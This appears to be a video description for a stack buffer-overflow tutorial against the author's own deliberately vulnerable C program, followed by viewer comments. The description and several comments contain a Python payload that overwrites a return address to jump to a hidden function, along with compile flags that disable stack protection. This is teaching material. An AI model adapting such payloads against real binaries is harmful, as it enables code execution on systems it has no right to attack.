Buffer Overflow Attack Example | Exploiting Binary

Want to learn how buffer overflow works? Here I have a live demo on how buffer overflow works on system. Using code in C language we will exploit the program to execute a hidden function.
Written Article : blog.rohanparab.com/2020/11/buffler-overflow-example-using-c.html
Commands:
1. Compile c program : gcc FBI_.c -fno-stack-protector -m32 -no-pie
2. Execute : ./a.out
3. Decompose obj file : objdump -d a.out
4. Passing payload : python -c 'print "a"*32 + "\x82\x91\x04\x08"' | ./a.out
Links :
C Code : github.com/rohanparab/Buffer_Overflow/releases/download/1.0/FBI_.c
Github Project : github.com/rohanparab/Buffer_Overflow/
My Blog : encryptedguy.blogspot.com
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#bufferOverflow #exploit #programming

[@vitorpaiva7817]

Thanks, man. I was getting nervous because I was not understanding why my exploits were not working. I need more ground!!

[@bhismaadiyasa4407]

It worked, Thankyou so much👍

[@satheeshkumar1168]

How you found the offset size is 4?

[@narek552]

Helped me thanks!

[@LIGHT-fz8yu]

Hey bro i wanna become a ethical hacker what should I do from now I am in 9th

[@encryptedguy]

Start coding. Mostly server side stuff. Once you get to know mechanism you can break it.

[@LIGHT-fz8yu]

@@encryptedguy yeah but how should I start means coding with which language?

[@encryptedguy]

Php python

[@LIGHT-fz8yu]

@@encryptedguy but people says start from c language

[@encryptedguy]

Sure if you want to go into low level stuff. But python will do

[@alien_X1]

Pls bring morw

[@gabrielbarrios397]

Hi, excellent tutorial, it help me a lot but i had error. At the end, specifically at 3:33 my console said me: python -c "print('A'*28 + '\x76\x91\x04\x08')" | ./a.out Enter some text: You DATA : 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA' now belongs to us zsh: done python -c "print('A'*28 + '\x76\x91\x04\x08')" | zsh: segmentation fault ./a.out if someone can help me 🙌 i'd be really grateful

[@paoloose]

Did you check if the buffer size is indeed 28?

[@hasmitaumrigar891]

Same problem, have you find the solution?

[@MrSha55]

It's a problem with python version. You should try python2 -c "print 'A'*32 + '\x76\x91\x04\x08' " | ./a.out .